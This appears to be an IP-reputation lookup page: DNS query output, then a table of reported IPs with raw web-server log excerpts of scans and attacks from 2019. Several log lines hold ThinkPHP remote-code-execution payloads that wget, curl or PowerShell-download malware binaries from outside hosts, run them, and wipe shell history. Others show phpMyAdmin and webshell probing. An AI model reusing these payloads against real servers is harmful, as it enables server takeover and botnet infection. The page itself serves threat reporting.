City: unknown
Region: unknown
Country: United States
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 136.0.43.86
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 32137
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;136.0.43.86. IN A
;; AUTHORITY SECTION:
. 414 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022022601 1800 900 604800 86400
;; Query time: 17 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Feb 27 12:20:25 CST 2022
;; MSG SIZE rcvd: 104Host 86.43.0.136.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 86.43.0.136.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 173.48.102.40 | attack | 173.48.102.40 - - [07/Apr/2019:06:51:11 +0800] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) C hrome/72.0.3626.119 Safari/537.36" 173.48.102.40 - - [07/Apr/2019:06:51:12 +0800] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) C hrome/72.0.3626.119 Safari/537.36" 173.48.102.40 - - [07/Apr/2019:06:51:13 +0800] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) C hrome/72.0.3626.119 Safari/537.36" |
2019-04-07 09:18:17 |
| 203.76.71.194 | attack | 203.76.71.194 - - [07/Apr/2019:20:50:34 +0800] "GET /index.php?s=/index/\\x09hink\\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://185.244.25.131/x86 -O .Akari; chmod +x .Akari; rm -rf .Akari x86; history -c -w;exit;logout;' HTTP/1.1" 400 182 "-" "Akari(selfrep)" |
2019-04-07 20:51:49 |
| 118.25.71.65 | attack | 攻击型IP
118.25.71.65 - - [31/Mar/2019:17:57:14 +0800] "GET /public/index.php?s=index/think\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start%20C:/Windows/temp/rdoromzcvnzisoj23580.exe HTTP/1.1" 400 682 "http://118.25.52.138:443/public/index.php?s=index/think\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start C:/Windows/temp/rdoromzcvnzisoj23580.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.71.65 - - [31/Mar/2019:17:57:14 +0800] "GET /public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^>hydra.php HTTP/1.1" 400 682 "http://118.25.52.138:443/public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^>hydra.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.71.65 - - [31/Mar/2019:17:57:14 +0800] "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start%20C:/Windows/temp/rdoromzcvnzisoj23580.exe HTTP/1.1" 400 682 "http://118.25.52.138:443/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start C:/Windows/temp/rdoromzcvnzisoj23580.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-03-31 17:58:18 |
| 176.223.125.207 | attack | 攻击IP 176.223.125.207 - - [29/Mar/2019:14:34:14 +0800] "POST /xmlrpc.php HTTP/1.0" 404 468 "-" "Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)" |
2019-03-29 14:37:20 |
| 77.247.109.8 | attack | 端口扫描 黑客攻击 |
2019-04-04 08:12:04 |
| 183.57.53.177 | attack | 183.57.53.177 - - [01/Apr/2019:08:57:38 +0800] "GET /linkx.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 183.57.53.177 - - [01/Apr/2019:08:57:38 +0800] "GET /linkx.php HTTP/1.1" 404 209 "http://118.25.52.138/linkx.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-01 08:58:20 |
| 195.231.2.207 | attack | 195.231.2.207 - - [03/Apr/2019:11:56:04 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://195.231.2.207/ronin.thinkphp;cat%20ronin.thinkphp%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.11.1.el6.x86_64" 195.231.2.207 - - [03/Apr/2019:11:56:05 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://195.231.2.207/ronin.thinkphp;cat%20ronin.thinkphp%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20thinkphp HTTP/1.1" 404 209 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.11.1.el6.x86_64" 195.231.2.207 - - [03/Apr/2019:11:56:05 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;curl%20-O%20http://195.231.2.207/ronin.thinkphp;cat%20ronin.thinkphp%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.11.1.el6.x86_64" 195.231.2.207 - - [03/Apr/2019:11:56:06 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;curl%20-O%20http://195.231.2.207/ronin.thinkphp;cat%20ronin.thinkphp%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20thinkphp HTTP/1.1" 404 209 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.11.1.el6.x86_64" |
2019-04-03 11:56:47 |
| 121.201.98.53 | bots | 121.201.98.53 - - [03/Apr/2019:13:30:46 +0800] "GET /index.php/category/root/deep-learning/geoffrey-hinton/ HTTP/1.1" 200 9321 "-" "-" 121.201.98.53 - - [03/Apr/2019:13:30:48 +0800] "GET /index.php/category/root/deep-learning/yann-lecun/ HTTP/1.1" 200 11081 "-" "-" 121.201.98.53 - - [03/Apr/2019:13:30:52 +0800] "GET /index.php/category/root/deep-learning/yoshua-bengio/ HTTP/1.1" 200 11401 "-" "-" 121.201.98.53 - - [03/Apr/2019:13:30:54 +0800] "GET /index.php/category/root/deep-learning/fei-fei-li/ HTTP/1.1" 200 9369 "-" "-" |
2019-04-03 13:32:54 |
| 111.206.198.14 | bots | 百度渲染爬虫，主要爬取图片以及css、js等 111.206.198.14 - - [08/Apr/2019:04:55:14 +0800] "GET /wp-content/uploads/2018/12/SIF-1.png HTTP/1.1" 200 47291 "https://www.eznewstoday.com/index.php/2018/12/10/a-simple-but-tough-to-beat-baseline-for-sentence-embeddings/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" 111.206.221.7 - - [08/Apr/2019:04:55:14 +0800] "GET /wp-content/ql-cache/quicklatex.com-ac9d53e7cc9ffa75a70082f94665c349_l3.png HTTP/1.1" 200 4258 "https://www.eznewstoday.com/index.php/2018/12/10/a-simple-but-tough-to-beat-baseline-for-sentence-embeddings/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" 111.206.198.70 - - [08/Apr/2019:04:55:14 +0800] "GET /wp-content/ql-cache/quicklatex.com-ac9d53e7cc9ffa75a70082f94665c349_l3.svg HTTP/1.1" 200 7427 "https://www.eznewstoday.com/index.php/2018/12/10/a-simple-but-tough-to-beat-baseline-for-sentence-embeddings/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" |
2019-04-08 05:09:52 |
| 144.217.70.190 | attack | 144.217.70.190 - - [02/Apr/2019:09:51:04 +0800] "POST /xmlrpc.php HTTP/1.0" 404 468 "-" "Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)" 144.217.70.190 - - [02/Apr/2019:09:51:05 +0800] "POST /xmlrpc.php HTTP/1.0" 404 468 "-" "Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)" |
2019-04-02 10:21:51 |
| 118.190.84.33 | attack | 118.190.84.33 - - [04/Apr/2019:13:19:38 +0800] "POST /wuwu11.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:38 +0800] "GET /wuwu11.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:38 +0800] "POST /wuwu11.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:38 +0800] "GET /wuwu11.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:39 +0800] "POST /wuwu11.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:39 +0800] "GET /wuwu11.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" |
2019-04-04 13:26:43 |
| 138.197.77.207 | attack | 138.197.77.207 - - [01/Apr/2019:06:39:02 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://159.65.65.37/leet.x86;cat%20leet.x86%20%3E%20xdsf;chmod%20777%20xdsf;./xdsf%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.30.1.el6.x86_64" 138.197.77.207 - - [01/Apr/2019:06:39:04 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://159.65.65.37/leet.x86;cat%20leet.x86%20%3E%20xdsf;chmod%20777%20xdsf;./xdsf%20thinkphp HTTP/1.1" 404 209 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.30.1.el6.x86_64" 138.197.77.207 - - [01/Apr/2019:06:39:04 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;curl%20-O%20http://159.65.65.37/leet.x86;cat%20leet.x86%20%3E%20xdsf;chmod%20777%20xdsf;./xdsf%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.30.1.el6.x86_64" |
2019-04-01 06:59:47 |
| 203.208.60.13 | bots | 提交sitemap后Google使用的useragent |
2019-03-30 08:40:05 |
| 14.17.3.64 | attack | 14.17.3.64 - - [07/Apr/2019:09:32:46 +0800] "GET /a.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 14.17.3.64 - - [07/Apr/2019:09:32:46 +0800] "GET /a.php HTTP/1.1" 404 209 "http://118.25.52.138/a.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-07 09:37:02 |
| 183.57.53.177 | attack | 183.57.53.177 - - [01/Apr/2019:15:40:53 +0800] "GET /info1.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 183.57.53.177 - - [01/Apr/2019:15:40:53 +0800] "GET /p.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 183.57.53.177 - - [01/Apr/2019:15:40:53 +0800] "GET /info1.php HTTP/1.1" 404 209 "http://118.25.52.138/info1.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 183.57.53.177 - - [01/Apr/2019:15:40:53 +0800] "GET /p.php HTTP/1.1" 404 209 "http://118.25.52.138/p.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-01 15:41:23 |